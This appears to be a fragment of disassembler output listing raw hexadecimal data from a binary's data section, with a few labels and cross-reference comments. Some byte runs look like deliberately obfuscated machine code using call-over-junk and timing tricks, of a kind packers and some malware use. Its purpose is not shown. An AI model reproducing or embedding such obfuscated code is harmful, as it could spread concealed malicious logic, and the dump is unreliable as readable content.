		dd 240C875Bh, 0E389535Ch, 4C381h, 0EB810000h, 4, 5C241C87h
		dd 68243489h, 7482h, 55241489h,	17791E68h, 0EE895D06h
		dd 4EC815Dh, 89000000h,	4832424h, 815A0424h, 4ECh, 24348900h
		dd 0E242C81h, 8F06D651h, 42810842h, 0D6510E08h,	2434FF06h
		dd 4C4815Ah, 0FF000000h, 835E2434h, 0FDE904C4h,	4FFF900h
		dd 0B8E13AEFh, 6177EF4h, 0D38BC503h, 2AE9h, 2404C700h
		dd 0
		dd 0E8h, 0ED815D00h, 6177F8Eh, 424448Bh, 19118589h, 0B80610h
		dd 8D000000h, 104E858Dh, 0B8E1FF06h, 6754h, 16EBh, 4 dup(0)
		dd 1010000h, 3F4h, 6A0617h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0BBA83C3h, 0B5896060h
		dd 6102025h, 96F38166h,	0B70F618Ah, 0E95061C6h,	9, 1E1D438Bh
		dd 39B3AA3Ah, 240489E1h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0E3C35545h, 0E5D32AC3h, 9A5D8C5Bh, 0DF8166D2h
		dd 6A2ED5h, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 16h,	0D6C35242h, 0BF66B7C8h,	6A4B5Dh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 0A1C35747h, 6F5AE042h
		dd 858DE143h, 6178145h,	3820Fh,	0BF0F0000h, 8D0F90F8h
		dd 0
		dd 860F50h, 90000000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0E6C35343h, 9CAA3D23h, 6AF3D8h, 0DE5EBA60h
		dd 8D8945BDh, 6101FA9h,	6A006A61h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0A876C353h
		dd 93E6B22Bh, 77A5CF49h, 0C8D0Fh, 820F0000h, 6,	6058D03h
		dd 8B660610h, 1995FFFAh, 0B706101Dh, 562E9E6h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0F87B5DC3h, 68A0Fh, 8D0B0000h, 6102309h, 0E8h, 0ED815D00h
		dd 617814Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	48C35141h, 2CB2621h, 6AE5B50Bh,	3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 3865C351h
		dd 0BD8B5444h, 6101C99h, 4E8h, 0FA000h,	0BE85100h, 6000000h
		dd 0E11756D6h, 0B072A28Eh, 7E8B2F8h, 0C6000000h, 1A81BEE0h
		dd 5A5A743Fh, 0F88B505Bh, 424448Bh, 310F5250h, 0F6BF5250h
		dd 0F476EB2h, 5299B931h, 585A2D17h, 8B585Ah, 10E8h, 0CA525100h
		dd 1DB7470Eh, 4AC47CAAh, 0C294CFB2h, 0DE963h, 0EF1E0000h
		dd 9BBBC734h, 41669E13h, 5BC6AEC9h, 4244489h, 4860Fh, 60600000h
		dd 52586161h, 860Fh, 0FF5B0000h, 1031C995h, 0A8E28006h
		dd 7FB3B58Dh, 8B660617h, 5206C7D0h, 0BF6D6765h,	7C80DDF7h
		dd 0EE8h, 0A9010100h, 0FCF2A1FAh, 2026B4BFh, 0E8AB32E4h
		dd 7, 0E2441EDFh, 669F34A7h, 5AA617B9h,	446C75Fh, 6C636E6Fh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 21C35545h
		dd 95BA66ADh, 846C7DBh,	737361h, 9537C381h, 6A586Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C9C35545h, 0B5896FDFh
		dd 6102AE9h, 7FB3858Dh,	6A0617h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0C32E7DC3h, 1CC99D8Bh
		dd 50900610h, 0FCC8A52h, 10E931h, 26040000h, 61DAE570h
		dd 0CD5E6169h, 16C959CFh, 585A6AE9h, 52505250h,	310FDD8Ah
		dd 5ACA8B66h, 33905B58h, 1015A98Dh, 18F0F06h, 0F5000000h
		dd 22D595FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 605326C3h, 0DE9h, 0AF316A00h, 19D58F88h
		dd 0DB8D755Eh, 850F1545h, 6, 16FD8D23h,	0B610610h, 30840FC0h
		dd 3000000h, 1012C1BDh,	2A6E906h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 52D695C3h
		dd 6723DF81h, 68590B86h, 0E2DB699Eh, 0F505250h,	8Bh, 310F5900h
		dd 295B3AB9h, 81585A22h, 978E2404h, 0FF81D24h, 95FFD0B7h
		dd 61031C9h, 6558D8Bh, 0B58D0610h, 6177FB3h, 72A2F5B9h
		dd 3106C723h, 6A363438h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 6571C352h, 66BCDE50h
		dd 8BDD86B9h, 446C7D6h,	31342D37h, 0E79BD8Bh, 8B0F0610h
		dd 8, 2850Fh, 0FE8B0000h, 846C7h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 7351C355h, 0FDAC27B1h, 6AF578h, 0B5B52952h, 5F061021h
		dd 7FB3858Dh, 0B5890617h, 6102F35h, 8B5036B3h, 240489FBh
		dd 0A658D8Bh, 95FF0610h, 61022D5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 3BC35747h, 0E3981457h, 840FC00Bh
		dd 32h,	6D44DB81h, 79E94CCDh, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 8B35C357h
		dd 9D011982h, 61013D9h,	4E840B3h, 2C000000h, 66000001h
		dd 8B50CA8Bh, 0E8042444h, 9, 784AEADAh,	0F04E443Ah, 8B52508Fh
		dd 0BB310FDFh, 7ACF8874h, 8B5F585Ah, 89DA8B00h,	0BF042444h
		dd 59ACFAD4h, 0F9BF0F58h, 31C995FFh, 0F5600610h, 23098589h
		dd 8D610610h, 177FB3B5h, 0D38B6606h, 694606C7h,	8D33656Ch
		dd 61010C9h, 6D0446C7h,	29636E6Fh, 102E5D95h, 846C706h
		dd 7373616Ch, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	51C35343h, 16FCFB83h, 0C46C7h, 66000000h, 0DF03E381h
		dd 0D98B006Ah, 7FB3858Dh, 81660617h, 50180DF1h,	4896CB6h
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0BAA1B2FCh, 9CE0B491h, 9504C2Eh,	101DB1B5h
		dd 95FF5F06h, 61022D5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 54C35545h, 0D22A40C0h
		db 33h
byte_5C3A41	db 9Dh,	51h		; DATA XREF: ___:off_438438o
byte_5C3A43	db 1Ch			; DATA XREF: ___:off_43A570o
dword_5C3A44	dd 0C00B0610h, 0C840Fh,	8D890000h, 6101E01h, 2FE9h, 51E9FC00h
					; DATA XREF: ___:off_43A568o
		dd 6AFFFFFBh
		db 0, 53h, 0E8h
		db 3
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 80C353h, 1C7D8531h, 9D890610h, 6101D25h, 73A3B58Dh
		dd 81660610h, 98366E1h,	1031618Dh, 0B806h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 7E9903C3h, 134D8D89h, 0E6FF0610h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0A5C35141h,	0C5B557A2h, 7AB5B031h
		dd 6E8C18Bh, 6E000000h,	92FF0277h, 1DBD8B9Fh, 5A061017h
		dd 0C28116B5h, 6D4Dh, 0C458D8Bh, 680610h, 66000000h, 0F58C88Bh
		dd 682h, 259D2300h, 0FF06100Fh,	9D891034h, 6102E69h, 0FB8B665Eh
		dd 4D56C681h, 0B5315F00h, 61006B5h, 4C37EE81h, 8B607B32h
		dd 1008D58Dh, 0C1BD2906h, 6106101Bh, 6B15F681h,	8B0F6136h
		dd 0Eh,	7E8h, 0A0572700h, 0BCC7DFF1h, 8B565FFCh, 1013898Dh
		dd 2048F06h, 0F296E881h, 8B6607F6h, 92C081FEh, 6607F6F2h
		dd 817714B9h, 0FF9388F8h, 1F850FFFh, 89000000h,	100EE5B5h
		dd 2EE906h, 8CC90000h, 1BAD262Bh, 60C9ABEFh, 1F3D7688h
		dd 5E176D8Dh, 0BD8B582Bh, 610239Dh, 0FFFF66E9h,	5AD351FFh
		dd 0D7627D50h, 0F2F87003h, 0F08FFD2Dh, 75FDED55h, 76F67A5Eh
		dd 56E669A4h, 83FD49BCh, 0E1FD26F4h, 26FD26DAh,	84FD26CDh
		dd 76FD2644h, 6CFD2682h, 35FD2660h, 2AFD2611h, 1FD26A9h
		dd 4CFD26F5h, 5FD26DAh,	7EFD26CDh, 0DBFD2639h, 0B8FD2682h
		dd 85FD2660h, 41FD2611h, 95FD26D7h, 9DFD26F4h, 95358A25h
		dd 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah, 75F57227h
		dd 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h, 75FC7B78h
		dd 75FD7ABCh, 76FD7A5Eh, 75A6ED8Fh, 75A6E227h, 75FD7ACBh
		dd 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh,	73EAF12Bh
		dd 0F251FFA6h, 0F0707C80h, 73EAF140h, 0F291FF6Ch, 0F0707CE5h
		dd 73EAF1B0h, 0F255FF35h, 0F0707C49h, 73EAF106h, 0F28DFF1Eh
		dd 0F0707CDCh, 73EAF00Dh, 0F289FF7Bh, 0F0707C6Eh, 73EAF33Ah
		dd 0F285FFD7h, 0F0707C38h, 73EAF30Fh, 0F281FF42h, 0F0707CF2h
		dd 73EAF35Ch, 0F27DFFF0h, 0F0707CABh, 73EAF057h, 0F271FFA6h
		dd 0F0707C80h, 73EAF31Eh, 0F279FF6Ch, 0F0707CE5h, 73EAF38Dh
		dd 0F275FF35h, 0F0707C49h, 73EAF026h, 0F271FF1Eh, 0F0707CDCh
		dd 73EAF0A6h, 0F261FF7Bh, 0F0707C6Eh, 73EAF0DEh, 0F25DFFD7h
		dd 0F0707C38h, 73EAF012h, 0F259FF42h, 0F0707CF2h, 73EAF03Ch
		dd 0F26DFFF0h, 0F0707CABh, 73EAF15Bh, 0F269FFA6h, 0F0707C80h
		dd 73EAF16Bh, 0F265FF6Ch, 0F0767CE5h, 73ED66D8h, 0F218FF35h
		dd 0F0767C49h, 73ED64CAh, 0F214FF1Eh, 0B69C7CDCh, 9D11F1B0h
		dd 75FD7AF2h, 8C17FB23h, 25FB6D34h, 0FDF53FD5h,	627A9EADh
		dd 0B7342291h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah,	987C2779h
		dd 73EAF3A6h, 0F296FFA0h, 0C87D7C38h, 73EAFDFCh, 0C5B409CFh
		dd 0B54B75E4h, 3589BAF9h, 0F214EF86h, 0FEBD7CABh, 7A452B96h
		dd 8AFD7A2Fh, 627A9302h, 1948F7CDh, 0F8FB6D62h,	9D50FCC6h
		dd 75FD7E4Bh, 76456FCFh, 8AFD7A5Eh, 627A93BAh, 1948F791h
		dd 0F8FB6D4Ch, 8A50FCD1h, 0BC1F2322h, 0F296F787h, 2DA07CABh
		dd 2CA32005h, 776D92ECh, 0CD4D7A97h, 8A5779C1h,	627A9F70h
		dd 9D3ED1F4h, 75FD7807h, 0CD9BC2DAh, 0DE9B5954h, 0F218EFD0h
		dd 0DE9B7C80h, 77959208h, 360B7AE5h, 6E8872F3h,	0F218EF86h
		dd 0C54D7CABh, 8AAD7954h, 627A9FBAh, 0F69B2091h, 7E9B7E2Bh
		dd 0B6561C27h, 75FF6B1Ah, 4E152979h, 2FFD7ABEh,	7B89A065h
		dd 913D59A5h, 0F5DF7094h, 0FE4DBA07h, 9D3ED183h, 75FD7B00h
		dd 77E1922Ah, 4EA77ABCh, 0C5120E84h, 0A916D049h, 75FCA77Fh
		dd 74BE8CCBh, 26D30FEDh, 75FF7B1Ah, 360B2079h, 548872BDh
		dd 6889A065h, 913D59A5h, 0F5DF7094h, 0FF4DBA07h, 906885B5h
		dd 2FFB6D75h, 51FD5F1Fh, 133F71DAh, 0E94DB9F5h,	74BD9285h
		dd 0F44D7A97h, 74359261h, 2D157AE5h, 0DEFD7AF2h, 75FC5791h
		dd 0DF60CABCh, 0DF61CA9Dh, 75FC5BC7h, 13451C97h, 9D561C4Ah
		dd 75FD7B43h, 75FD4C1Ah, 9D561C79h, 75FD7BB6h, 0B657E7EEh
		dd 9D57E69Fh, 75FD7A69h, 75FCF323h, 74BE8CE5h, 0C5F20FFAh
		dd 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h, 0C5FD7A97h
		dd 0CD3ED056h, 75FD7AE2h, 0F214EF0Dh, 0C0707C6Eh, 73EAFD0Ch
		dd 7F518A5Dh, 0E002D02Ch, 73EAFD72h, 74E59208h,	254D7AE5h
		dd 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh, 0C53ED02Ch
		dd 274DD0C7h, 8BE19261h, 0CD9B851Ah, 0DE9B4BFDh, 8A036B91h
		dd 0DFA7CA43h, 0B65722EEh, 2257929Fh, 750C923Ch, 0FEA77ACBh
		dd 0F63F5122h, 77747E1Ah, 8A008B91h, 75059243h,	2D4D7A5Eh
		dd 0B6577925h, 0F29FFF69h, 0C87D7CDCh, 73EAFD87h, 0F8EC0FF3h
		dd 627AAEFCh, 61152ABAh, 9DFD7A5Ch, 75FD781Bh, 9D571A27h
		dd 8A028775h, 8A00C30Dh, 0DF9CCA0Dh, 0F29FF787h, 0C87D7CABh
		dd 73EAFD3Ch, 0F8F10F2Fh, 627AAE12h, 0DE152ACDh, 0B6FD7AE4h
		dd 75FD7E4Ah, 9C688579h, 0F8FB6D3Bh, 62714BC3h,	6DF9F029h
		dd 9C4DB93Dh, 9D562D61h, 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh
		dd 8A3E7835h, 627A9FCBh, 514ACE29h, 0C1FF0E96h,	13F2CA74h
		dd 75C9924Eh, 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h,	0B5F179BEh
		dd 0B6577825h, 0F218EF68h, 917D7CDCh, 0F539FAEAh, 0DE9B7542h
		dd 5A15D12Eh, 2F028541h, 0B7D6BDD5h, 0FCF992ACh, 7345B995h
		dd 8AFD7ACBh, 627A9370h, 0BD60F7F4h, 0F8FB6DFEh, 0CD3E39A0h
		dd 75FD7A4Eh, 0F214EFD0h, 0B57E7C80h, 8935F1CEh, 0F218EF1Ah
		dd 97577CE5h, 0BE15B98Eh, 0FF028543h, 72D97B1Dh, 76778E5Ah
		dd 75FC6C7Fh, 0B61608CBh, 8908831Dh, 0F611F1A7h, 9D9D86BDh
		dd 75FD7ABCh, 3417FB04h, 0FCFB6DA3h, 0CF7D86EAh, 73EAFD2Fh
		dd 0EC7975E5h, 0CDFD7AF2h, 75FD7A73h, 0F214E843h, 0FCBD7C49h
		dd 627A97ADh, 0F835F191h, 62706F79h, 906F85E3h,	0FDFB6D75h
		dd 801F3C7Fh, 75FD6D04h, 987F795Eh, 35FB6DA8h, 0F8F4E01Ah
		dd 0B67E7CDCh, 22FEF3E1h, 75FD644Bh, 98777979h,	0F8FB6D3Bh
		dd 62718DECh, 2B598929h, 75FD722Fh, 9C6F85CBh, 0F6FB6D62h
		dd 85897E0Ah, 72447C71h, 7DFD7ABCh, 0C3F24B5Ah,	761EBBF7h
		dd 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h, 75FD61C0h
		dd 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh, 8980F334h
		dd 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah
		dd 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h, 75FD7AF2h
		dd 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh,	0F8D59016h
		dd 0CF707CDCh, 73EAFD14h, 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh
		dd 26FD7E9Ch, 0F20CE7A2h, 497D7C80h, 71887BD3h,	771683BEh
		dd 203E82A9h, 9D9D96F2h, 75FD7ABCh, 1417FB04h, 0F8FB6DA2h
		dd 627A8B25h, 7D80F1CDh, 75FD725Ch, 145989F2h, 75F9B8B0h
		dd 8440F7DCh, 46FB6DD9h, 75F5C3EFh, 0DF0E7A97h,	0F89DB9AAh
		dd 627A8B58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h, 74FC7B5Fh
		dd 9E04795Ah, 0B69C8296h, 8440F7ABh, 0CDFB6D62h, 75FD7AF3h
		dd 75FD72C0h, 145789BCh, 0FE3DF19Dh, 8B78F7EFh,	8AFB6D10h
		dd 0E8CA8BD0h, 11h, 5F0641EDh, 391406B4h, 85A922CCh, 0E1A13BD4h
		dd 8B6650F0h, 81585AD3h, 0E521D4CAh, 0D3C08126h, 0E90000D9h
		dd 14h,	0E8988340h, 90EF3AA5h, 0E384ACC0h, 5681E2E6h, 0B440EA58h
		dd 0BBh, 78E0F00h, 0F000000h, 185h, 3C8BF500h, 81D18B18h
		dd 797BBBC7h, 1FD1814Ch, 810B77C8h, 500389EFh, 0FE944h
		dd 458E0000h, 0C5B652Ah, 77914F93h, 0B759D54Fh,	78C7816Fh
		dd 0F50FB4Ch, 0C88h, 68C0F00h, 81000000h, 11FEA7DEh, 8E95729h
		dd 0F7000000h, 819643EEh, 8F0C6782h, 0DA801804h, 8392B29Ch
		dd 0B70F02EBh, 0F4B4BF6h, 188h,	0FB81F800h, 0FFFF26F0h
		dd 0FF8C850Fh, 0A3BEFFFFh, 0E9078A9Ch, 30h, 2971F1F7h
		dd 0Bh dup(0)
		dd 0DADE9h, 90DD6800h, 8DE90617h, 68FFF8F1h, 6179235h
		dd 0F8F183E9h, 92D668FFh, 79E90617h, 68FFF8F1h,	6179359h
		dd 0F8F16FE9h, 96CC68FFh, 65E90617h, 68FFF8F1h,	61799B0h
		dd 0F8F15BE9h, 9ABC68FFh, 51E90617h, 16FFF8F1h,	0FE7D3174h
		dd 1C9B0F46h, 29B02C65h, 6954986h, 0C1A72362h, 36751745h
		dd 1152F382h, 2D681E9Dh, 4C812AB1h, 0E8A39D90h,	6BDBF35Ah
		dd 3257DDBAh, 0D9533F7Eh, 5A6FAE62h, 0B4572DE1h, 0CBA78B77h
		dd 0B823B20Fh, 0DE6E3A6h, 442067FCh, 0ED55542Ah, 9942392h
		dd 0DC4E502Dh, 92BB0702h, 0ED949423h, 8B60BCB4h, 239226A0h
		dd 17AEC594h, 7B3BFFD2h, 25DF39h, 5C2D0000h, 324C1EBDh
		dd 0ADCA01A7h, 0FC2D4DF6h, 0D9CDA967h, 23B33492h, 59CD794h
		dd 7B670DE0h, 7ED39h, 405F0000h, 89Bh, 4479328Ch, 5D923950h
		dd 883CFFE1h, 0A1DC9249h, 419A39CCh, 0E38A512Fh, 0F5D6CDAAh
		dd 1167FC11h, 8C3A6115h, 6F942396h, 0A219BD54h,	0E295B2EBh
		dd 397B400Fh, 40EFh, 0BD5C5D00h, 0D78D4C1Eh, 0F6B5CBA0h
		dd 67FC7CDDh, 22493D39h, 942383A4h, 1417E947h, 942383AEh
		dd 2E0DEA46h, 367F5297h, 0FEEF397Bh, 11F2F069h,	7A314BCAh
		dd 942337C8h, 0B51B302Ch, 0F7h,	5F04D717h, 0D58E4522h
		dd 33D5F4A0h, 7CB70BFEh, 0D34F6DCCh, 0DB8403EFh, 24DBFAA6h
		dd 6B52F4E6h, 80648AFCh, 0FC811DCCh, 0AD566DCCh, 0F1DAC478h
		dd 4FAB1EA8h, 7B381547h, 0A3BD8FC4h, 0CCFE5AE8h, 895EBA6Dh
		dd 4A91289Dh, 3202A930h, 0D34F437Ah, 0D806DAEFh, 5875AA61h
		dd 0FC88B6ABh, 58D45067h, 0DDEFEC0Bh, 0B86CA95Eh, 0D2B99FBCh
		dd 9E0AC761h, 0CD13B883h, 79D76D7Ch, 0EE0BE725h, 9B1E302Ch
		dd 4C2EAAE9h, 0E9CB7732h, 2F2B9E11h, 7FFFE00Ah,	4116CD46h
		dd 43FCD67Ah, 0E2FE620Eh, 3730F375h, 0E0C9DD40h, 0ACAh
		dd 0B672B555h, 0D652893Fh, 0BD71AA5Fh, 904C893Eh, 0B4286709h
		dd 74184AB6h, 4F027935h, 671B9A0Eh, 8229B02Ch, 0A29E914Dh
		dd 0DBEC5BE7h, 56DEBB6Bh, 8B3F7E32h, 0DF83530Ch, 9742C89Bh
		dd 0B4909ED0h, 0ED22C9C0h, 2A6E409h, 0B8F51B1h,	5CD573E7h
		dd 324C1EBDh, 0CC7CCB77h, 782F2B6Dh, 9EC297D2h,	0FC7CC6EBh
		dd 0A2494067h, 0C4C7B96Dh, 9423837Eh, 9AB69A96h, 57EB9EC0h
		dd 0AF942383h, 96E896B3h, 31E51EC3h, 0D36B1835h, 64942383h
		dd 0FB9A86BBh, 0F4630F44h, 7720AC43h, 9A21A53Ch, 66CAB6F7h
		dd 37438E91h, 0F023397Bh, 69000000h, 50447932h,	0F6BCEDDEh
		dd 82C8E297h, 0FB3AEE65h, 863CFFE1h, 2CDB574Bh,	6DCC8D96h
		dd 29D5F26Eh, 0A0E18457h, 0F046E0CBh, 0F0976DCCh, 0BFACA1BBh
		dd 0CB3D9CB5h, 9904623h, 8C792D62h, 0E82E656Dh,	0B5F2A229h
		dd 0DBCB3390h, 81658136h, 0BC6F916Fh, 6DCC0306h, 210079DEh
		dd 7A78E253h, 998A8156h, 3D67FCE0h, 3AF10FE1h, 943CA788h
		dd 63DBF06Ch, 0A349F7FEh, 0E376886Ch, 161A063Dh, 0D66C1F41h
		dd 2E9E0A6Ah, 0EFA11832h, 45AD9EB0h, 8CC57CFEh,	7CAF9C98h
		dd 0BC6DEC5Dh, 0CEAB877Bh, 0A0DF9108h, 34E5233Bh, 0B039ED40h
		dd 972h, 4E0A4DFDh, 6EEA21C7h, 550942E7h, 68E421C6h, 4C003FF1h
		dd 0FCB0225Eh, 0D77A01BDh, 0EF932296h, 0CA81F8B4h, 4A361995h
		dd 0DBEEE35Fh, 1EA6036Bh, 8B3F7E32h, 4B822AB1h,	0C9FEA52Eh
		dd 0F9B02B15h, 3221ABC0h, 39504479h, 3DE15D92h,	805B7A7Fh
		dd 15B906Eh, 3C8A5EA6h,	9D06FDDAh, 3967FCBFh, 56D17A3Dh
		dd 0D342F956h, 0C6C59744h, 37D7533Dh, 232F54D9h, 8FBCF19Ah
		dd 233FF421h, 6873826Fh, 9FB59396h, 0D14D2DE0h,	0B55AE1FFh
		dd 2FD86378h, 10B73EFAh, 9DF66EDBh, 0ECB8F7EDh,	8D1FBh
		dd 67AA5C00h, 85BC64F3h, 629B52C9h, 7FBC6FE6h, 59984CCBh
		dd 699BE7E5h, 45D488C7h, 70E763A4h, 4CCB7FBAh, 0FFEA5E93h
		dd 0EEB40EFDh, 53506BDBh, 3B7932C9h, 0D6046157h, 0BA668A99h
		dd 532DAE45h, 0FCDB0B58h, 9DAFAB67h, 0B12D681Eh, 48FAB1CFh
		dd 0AC943CC9h, 6A209BB0h, 0AE14432Fh, 4F943CC9h, 943CB9F7h
		dd 66786372h, 0CBECEA3h, 926CC89Eh, 11E625C7h, 98CD7615h
		dd 0A804F33h, 0A435E140h, 84Eh,	42F639D9h, 62D60DB3h, 39F52ED3h
		dd 5CD00DC2h, 70EC2BDDh, 28DC0E7Ah, 43E675E9h, 1BCF4602h
		dd 36ED6CE0h, 5E624D01h, 0DBEF17ABh, 2AF2EF6Bh,	464096D7h
		dd 1DEFA817h, 0FD792D6Ah, 526104D9h, 77897789h,	0CC4C0EB4h
		dd 2E6D1F6Dh, 322EDE42h, 2B056E15h, 0EEDF67FCh,	814FA708h
		dd 180ADF4Ah, 0BB71681Ch, 0A9279B8Eh, 63BF943Ch, 944CCB7Fh
		dd 0C05CA95Dh, 0B04A411Bh, 54943CA9h, 7BA2CD8h,	0EC23C968h
		dd 585D8E70h, 0A2603EBh, 0C482293Eh, 83943C61h,	618A6477h
		dd 2684BFD3h, 3B1D3A02h, 3C588E50h, 0E89F3694h,	90BD8FB3h
		dd 653A6025h, 74EAFF28h, 0DF1CCF8Ah, 0A11A2F33h, 77CBBEEBh
		dd 8F943C24h, 6249F18Ah, 6D89C6DFh, 18A39D89h, 0F9494073h
		dd 1D943C56h, 5B482541h, 943C57EBh, 4AEB8A39h, 963362A2h
		dd 0B36BAD24h, 0E49C1B8Fh, 0C24EF4B7h, 8584943Ch, 943CC23Dh
		dd 0C9A55DD9h, 44B2F9ADh, 86943CC2h, 3F8031A8h,	3BFA992Ah
		dd 85DA4E85h, 99906A71h, 943CC12Ch, 0F3A24ECAh,	85D5DF2h
		dd 24C16013h, 0ADDBD1C9h, 91CC8239h, 1CF14BCh, 542A0000h
		dd 2CC37F2Ah, 4723E843h, 432CE260h, 498A3BE8h, 4D29D95Dh
		dd 0BD5C9430h, 105D4C1Eh, 0AE67FC0Ah, 6A2198B2h, 59D0FE2Ch
		dd 6A4F1B15h, 0B36BCBECh, 11CDA92Ah, 98A3E18Ah,	0A195C779h
		dd 5403EFD3h, 1F69B44Ch, 0DA5E99Dh, 296468Ch, 0DFF6AAC6h
		dd 8639ED2Eh, 5F3A861Dh, 8C69D0FDh, 89B044EEh, 0DCCA8E7h
		dd 0D691D5Ah, 6DB44BF0h, 0EC6F81B6h, 0E12FE33h,	209B8539h
		dd 0E0443069h, 6297500Bh, 26B541AEh, 438023B2h,	5A8F384Fh
		dd 893DFCDEh, 9C2794Eh,	0AC589739h, 1F6011C8h, 1FD3EF73h
		dd 0EAAA1878h, 437C3180h, 5A8F384Fh, 6DD5D4A6h,	896DD11Ah
		dd 66FDBEADh, 41E0BF5Ah, 0C90A4885h, 0F95444Dh,	3A1FF441h
		dd 3A0F4755h, 1995CA81h, 0C0B4E9A2h, 7BBF7D6Eh,	13A95598h
		dd 0BF13A736h, 251D9936h, 411B3791h, 0D1C8F84Ah, 8C401C6Dh
		dd 681C5B0Dh, 0BB71E816h, 0C82D9584h, 6DC96DD1h, 0F2E9ED90h
		dd 0C88D31D8h, 0FD796DD1h, 6DB358E3h, 3A115C46h, 2D4A269Ah
		dd 447932A9h, 58973950h, 3F782DACh, 528F3453h, 0DD744B9Eh
		dd 17AE45EFh, 0E085550Eh, 5B77FBA7h, 0DFD0FDDFh, 70AE7414h
		dd 651E95B2h, 14EA4430h, 0D1C6AD15h, 0DE64276Dh, 366DD1C6h
		dd 11E6423Ah, 856A6874h, 52A5D6E7h, 0CAB09AAEh,	4E9B1A9Dh
		dd 9B15872h, 0DB6DD1AFh, 0AEBC0605h, 0EC236DD1h, 61576B35h
		dd 4419150Dh, 0EF66E23Eh, 780F0338h, 7CEB97D2h,	46FD24BBh
		dd 829FDD08h, 0A2BE6BA6h, 0C3F8AF26h, 0FC705DCFh, 7A935F5Bh
		dd 4D69FCD1h, 61CDBC8Eh, 9D6DD1B1h, 0DAD1AFC1h,	6DD1B168h
		dd 3BB908Ch, 0DF93CE74h, 0FBD50612h, 0D1B1A210h, 5206626Dh
		dd 447932B4h, 3F9C3B88h, 193D7E2Dh, 0A6A767FCh,	48B234A9h
		dd 574B2013h, 72B356E5h, 4FF3A27Eh, 0A794234Ah,	6D5A7CBh
		dd 32A92560h, 512F417Ch, 234AE85Ah, 66A14594h, 738DBAB6h
		dd 0FF9EC14h, 57AC5A6Fh, 4A411BC0h, 9E135A19h, 0E6B561BDh
		dd 9E133A58h, 1DB0017h,	233D690Ah, 45312D94h, 3689D46h
		dd 5E250315h, 0DB7A6B3Bh, 66000004h, 4ECD81C4h
		dd 6CEB5F96h, 39C07CB5h, 56E55996h, 0D1B773B2h,	66A547B5h
		dd 81C263F2h, 5D984ECDh, 7CB15AE1h, 38F3CDC0h, 6BDBEA8Ah
		dd 5CA76D6Ah, 5D4C1EBDh, 67FC1EF8h, 0CD753406h,	299423A2h
		dd 2E7D294Dh, 9423A291h, 45A03F74h, 397B4B6Ch, 954Ch, 9D8C7200h
		dd 9423AA25h, 691954FAh, 254F00Dh, 6DCC7C34h, 5B0FCAA4h
		dd 0E0F57B17h, 6B874AD9h, 409EBBB7h, 31ADE289h,	0B89249D4h
		dd 0CC0969D1h, 80B89D6Dh, 883BD359h, 0DF514521h, 0BDB80A01h
		dd 5C6DCCh, 82B770EBh, 0FF40F168h, 0C0F74EAh, 9F538E34h
		dd 0DECD9FC3h, 6DCCBD7Ch, 0E1F8AC88h, 0EC39F52Ah, 39F00AD1h
		dd 6DCCBDEDh, 235A1289h, 0BA04533Fh, 986DCCFDh,	2154AE9h
		dd 0DA0407D9h, 506DCCFDh, 0FDA9E689h, 7EB2ADEh,	783430F2h
		dd 0A20Fh, 0BD5C7D00h, 0A7324C1Eh, 0F7B4C902h, 67FC1B9Ah
		dd 0D5F4A07Ch, 0EA37F334h, 513812CDh, 94239CEDh, 0A02209F7h
		dd 4494239Ch, 130F13E8h, 94C98239h, 4A367115h, 461511E6h
		dd 94239CFBh, 2FCA691Ah, 397B49DEh, 0E5391D4Eh,	0F4A0D990h
		dd 6A474B70h, 4C88401Dh, 2000000h, 7F2ABF5Ch, 6DCC7CC3h
